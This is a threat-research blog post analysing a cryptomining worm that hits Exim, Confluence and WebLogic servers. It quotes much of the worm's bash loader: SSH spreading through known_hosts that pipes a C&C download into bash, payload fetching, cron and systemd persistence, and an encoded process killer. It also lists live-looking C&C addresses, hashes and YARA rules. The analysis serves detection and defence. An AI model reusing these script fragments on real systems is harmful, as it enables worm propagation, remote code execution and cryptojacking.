AT&T Alien Labs analysis of an active cryptomining worm

January 9, 2020  |  Fernando Dominguez

This blog post provides an overview of the AT&T Alien Labs™ technical analysis of the common malicious implants used by threat actors targeting vulnerable Exim, Confluence, and WebLogic servers. Upon exploitation, malicious implants are deployed on the compromised machine. While most of the attacks described below are historical, we at Alien Labs are continuing to see new attacks, which can be further researched on the Alien Labs Open Threat Exchange™ (OTX).

The main goal of these malicious implants thus far has been mining Monero crypto-currency. Below, we have included a diagram of a typical attack vector for this cryptomining worm.

graphic of steps to mine Monero

InstallationAlien Labs analysis of an active cryptomining worm

For our research, we analyzed the following sample (you can also see related pulses on this in OTX): f00258815853f767d70897db7263f740b161c39ee50c46c26ab247afb824459a.

First, the adversaries attempt exploitation. When they are successful and code execution is achieved, they then download and execute a deployment BASH script from the Command and Control (C&C) server. This script’s main function is to act as a loader for the malicious payload. The script also has worming capabilities to infect other hosts and maintain persistence.

Obfuscation

The script uses a basic obfuscation mechanism where $_ variables are declared with string portions. These variables are then combined with others to form commands or sensible strings.

entropy=08:232.331.83.15 function discord() { for i in {1..7} ; do echo -n ${chaos:RANDOM%${#chaos}:1}; done; } new_bash=$(discord);_b=et;_j=ph;_l=cr;_k=p;_q=3;_t=ip;_v=bl;_u=ta;_w=es new_dog=$(discord);_g=th;_i=tp;_m=ta;_d=cu;_p=2 new_killbot=$(discord);_c=rl;_f=on;_n=on;_r=ak omelette=$(discord);_e=py;_a=wg;_o=b;_h=ht;_s=mv

We can deobfuscate it easily by using a regex.

The malware distribution server is reversed and declared by the entropy variable. This seems constant amongst all the analyzed samples.

Payload

The first thing the script does is check to see if the machine is already infected. If so, it kills the mining processes:

omg=`ps aux | grep [/]vmlinuz | awk '{if($3>30.0) print 1}'`

if [ "$omg" == "1" ]; then

   ps aux | grep -v '/boot/vmlinuz' | awk '{if($3>30.0) print $2}' | while read procid; do kill -9 $procid; done

   exit

else

   pkill -9 -f [/]vmlinuz

fi

It then tries to infect other machines via SSH (by reading known_hosts file and trying to connect to known hosts). This is the worming component. If a connection is successfully established, the deployment script will be executed on the remote machine:

if [ $(command -v ssh | wc -l) -eq 1 ]; then

   if [ -d /root/.ssh ];then

       nests=('/root')

   else

       nests=()

   fi
   # find users

   for i in `find /home/ -mindepth 1 -maxdepth 1 -type d`; do

       if [ -d $i/.ssh ];then

           nests+=("$i")

       fi

   done

   for door in ${nests[@]}; do

       if [ -f $door/.ssh/known_hosts ] && [ `ls $door/.ssh/id_* 2> /dev/null | wc -l` -ne 0  ]; then

           for host in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $door/.ssh/known_hosts); do

               ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no root@$host "unset HISTFILE; (curl -fsSL http://$housewife||wget -q -O- http://$housewife)|bash" &

           done

       fi

   done

fi

The script then downloads two things dubbed 1) seasame and 2) omelette — perhaps because omelette comes from the $egg.

wget -q "http://$housewife/$egg" -O ./$omelette

       if [[ $EUID -eq 0 ]]; then

           seasame="`command -v wget`ak -q -O /tmp/seasame http://$housewife"

       else

           seasame="`command -v wget` -q -O /tmp/seasame http://$housewife"

       fi

Omelette is an ELF binary and seasame is the BASH deployment script that we are analyzing. One reason the script downloads again is the download can act as an update mechanism. The hashes for downloaded executables are listed below:

716042b8e32cfb364b04c4e068a37a8e60c928e4fd32c894282c5d658c138684 omelette

f00258815853f767d70897db7263f740b161c39ee50c46c26ab247afb824459a seasame

The download executes via wget, curl, python2 / 3 or php — in that order, depending on which one is supported in the infected system.

Possible eggs (implants) are shown by the installation script:

#implants

if [ `uname -m` == "x86_64" ]; then

   eggs=('86su.jpg' '86du.jpg' '86s.jpg' '86d.jpg' '46su.jpg' '46du.jpg' '46s.jpg' '46d.jpg')

else

   eggs=('83su.jpg' '83du.jpg' '83s.jpg' '83d.jpg' '43su.jpg' '43du.jpg' '43s.jpg' '43d.jpg' 'a6u.jpg' 'a6.jpg')

fi

The script provides for multiple implants to account for different system architectures. As of today, the supported architectures are x86, x86-64 and aarch64. For each architecture, the script provides two binaries: one statically linked and another one dynamically linked.

Rather than trying to select the system architecture and then download the corresponding implant, the malware authors have opted to download implants in a loop and then break the loop when the first implant sticks.

Persistency is achieved by adding the seasame script to a cron job. This cron job also acts as a kill prevention mechanism for the malicious payload, as it is executed every 5 minutes.

ketchup='*/5 * * * *'

echo -e "$new_home\n$ketchup $seasame && bash /tmp/seasame" | crontab -

If systemd is detected, a service is also created with the “cloud-agent” name

cat << EOF > /etc/systemd/system/cloud_agent.service

[Unit]

Wants=network-online.target

After=network.target network-online.target

[Service]

Type=forking

ExecStart=`command -v bash` -c "$seasame"

TimeoutSec=0

RemainAfterExit=yes

SysVStartPriority=99

[Install]

WantedBy=multi-user.target

EOF

Finally the script drops some bash scripts for bot management.

echo "sleep 2;rm "'$0'" ;while true;do sleep 10; ps x | grep '[/]vmlinuz' &> /dev/null ;if [ "'$?'" -eq 1 ]; then chmod 777 ./$omelette;nohup ./$omelette &> /dev/null;./$omelette &> /dev/null;fi; ps x | grep '[/]vmlinuz' | awk '{print "'$1'"}' | awk '{if(NR>1)print}' | xargs -I{} -n1 kill -9 {} &> /dev/null;done" | tee ./$new_dog &> /dev/null

if [ $(command -v base64 | wc -l) -eq 1 ]; then

   echo -n 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1ZTtkbyBzbGVlcCA1OyBwcyBhdXggfCBncmVwIC12ICd2bWxpbnV6JyB8IGF3ayAne2lmKCQzPjMwLjApIHByaW50ICQyfScgfCB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAtOSAkcHJvY2lkICAmPiAvZGV2L251bGw7IGRvbmU7ZG9uZQ==' | base64 -d | tee ./$new_killbot &> /dev/null

else

New_dog spawns a new bot and new_killbot kills all instances.

Characteristically it copies the bash binary to another one with a random name. It also copies curl to curlak and wget to wgetak.

Behavior

As reported in our OTX analysis, the sample is trying to spread to other hosts by checking the known_host’s file. This is gathered from the “Connects to hosts declared in the known_hosts file (usually for worm propagation)” signature found in the “Dynamic analysis” tab.

In the “Network Analysis” tab we can also observe that the sample is downloading an ELF file and then a cryptocurrency miner checks in. This is what led us to believe the downloaded payload is a cryptocurrency miner.

Miner

We analyzed the sample e2964214fdbfb51d5b33944cc9ca05821518a4bad01f750cee8f0d00f68a6176

The sample we analyzed is one of the implants obtained directly from a C&C observed in one of the deployment scripts. Particularly, this sample was obtained from http://51.15.56[.]161:162/43d.jpg.

Upon initial inspection the file is an ELF 32-bit LSB executable for the Intel 80386 architecture. Although the binary is stripped, we have access to function names as the binary was coded in C++. Strings are also unobfuscated, for the most part.

Code Analysis

By simple observation of the strings, it is not hard to see that this binary is a modified version of the open-source xmrig (https://github.com/xmrig/xmrig) Monero miner. The most important modification is in the configuration loader class for the Xmrig client, which has been modified to load an obfuscated, hard-coded configuration. The rather simple obfuscation lies in the string reverse operation and hex encoding:

  hex_ip = (char *).....::String::strrev((int)&obj, "233323E2333313E28333E21353");

  ip_1 = (char *).....::String::hx_to_chr((int)&obj, hex_ip);

  hex_ip_2 = (char *).....::String::strrev((int)&obj, "136313E26353E25313E21353");

  ip_2 = (char *).....::String::hx_to_chr((int)&obj, hex_ip_2);

If we emulate these operations we can obtain the Command and Control IP addresses:


>>> "233323E2333313E28333E21353"[::-1].decode("hex")

'51.38.133.232'

>>> "136313E26353E25313E21353"[::-1].decode("hex")

'51.15.56.161'

Behavior

Network

Judging by the network communications, the modified Xmrig client is mining through a xmrig-proxy server, so the wallet and the mining poll addresses are not directly accessible without access to the proxy server. Below is a screenshot from the PCAP obtained after executing the malicious implant in our sandbox:

GUI of malicious WinBox software shown after install

Host indicators

Through additional research on OTX, Alien Labs determined that we are dealing with a cryptocurrency miner. First, we can observe the “Cryptocurrency Miner Checkin” rule being triggered in the “Network Analysis” tab. We can also observe that the sample is using hard-coded IP addresses rather than domain names as the “Communicates with host for which no DNS query was performed” signature is triggered in the “Dynamic Analysis” tab.

Configuration extraction

The extraction of the C&C / proxy addresses can be automated through the use of a Yara rule to match the configuration loader and a Python script to de-reference the virtual address. As the malicious actors are using a proxy server, we will not be able to extract the wallet address nor the mining pool through this method. Also, it is important to note that this method will not work in packed binaries.

Executing such a script through the gathered 100+ samples during the hunting phase yields the following unique Command & Control addresses:

The Yara rule used for this task can be found in the “Indicators Of Compromise” section below.

Summary

We first discovered indicators of compromise from this campaign in early June 2019, and ever since we have been tracking the activity of this threat actor. At the time of writing this report, the threat actor is still active and their infrastructure is still up.

While not being a very big campaign, this individual or group has managed to go under the radar for some months, without drawing much attention.

It is hard to estimate how much income this campaign has reported to the threat actor, as the miner is configured to mine through a proxy, and thus conceals the receiving wallet address.

In OTX and USM we have created multiple detection rules to help detect and block this threat.

  • Correlation rules:
    • Process Connection to a Known Malicious Address
    • Bash History Deleted
    • Cryptocurrency Miner Checkin
  • Agent queries:
    • Detects when a shell is spawned after using a downloader executable (wget, curl, etc.).
    • List crontab entries
    • Detects processes running from tmp

Indicators of Compromise

Hunting

Given the uniqueness of this script we can do a VT retrohunt to get similar scripts with the following Yara rule:

rule EximMinerScript {

    meta:

        author = "FDD"

    strings:

        $v1 = "new_bash"

        $v2 = "new_dog"

        $v3 = "new_killbot"

        $v4 = "omelette"

        $v5 = "egg"

        $v6 = "housewife"

        $v7 = "entropy"

        $s1 = "/boot/vmlinuz"

        $s2 = "cloud_agent.service"

        $s3 = "wgetak"

        $s4 = "curlak"

        $freq = "*/5 * * * *"

    condition:

        5 of them

}

We can do a Yara rule for the modifications found in the xmrig client as well:

rule XmrigMod {

   meta:

       author = "FDD"

   strings:

       $elf = { 7f 45 4c 46 }

       $s1 = "hx_to_chr"

       $s2 = "strrev"

       $s3 = "cryptonight"

       $cfg = { 89 [2] C7 [7] C7 [7] C7 [7] 89 [1] E8 [4] 89 [2] 89 [3] E8 [4] 89 [2] C7 [7] 89 [1] E8 [4] 89 [2] 89 [3] E8 [4] B9 }

       $hx_to_ch = { 66 0F [2] 66 0F [2] 66 0F [2] 66 0F [2] 66 0F [2] 66 0F [2] 66 0F [2] 66 0F [2] 66 0F }

       $strrev = { 0F B6 [2] 83 E9 01 83 EB 01 88 [2] 0F B6 [2] 83 C2 01 88 01 3B 54 [2] 75 }

   condition:

       $elf in (0..4) and all of them

}

Observed unique C&C URIs:

For more indicators of compromise, please see the OTX Pulse.

Share this with others

Get price Free trial